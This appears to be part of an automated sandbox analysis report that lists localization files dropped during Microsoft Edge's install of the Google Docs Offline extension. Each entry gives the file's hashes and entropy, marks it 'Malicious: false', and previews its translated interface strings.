SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
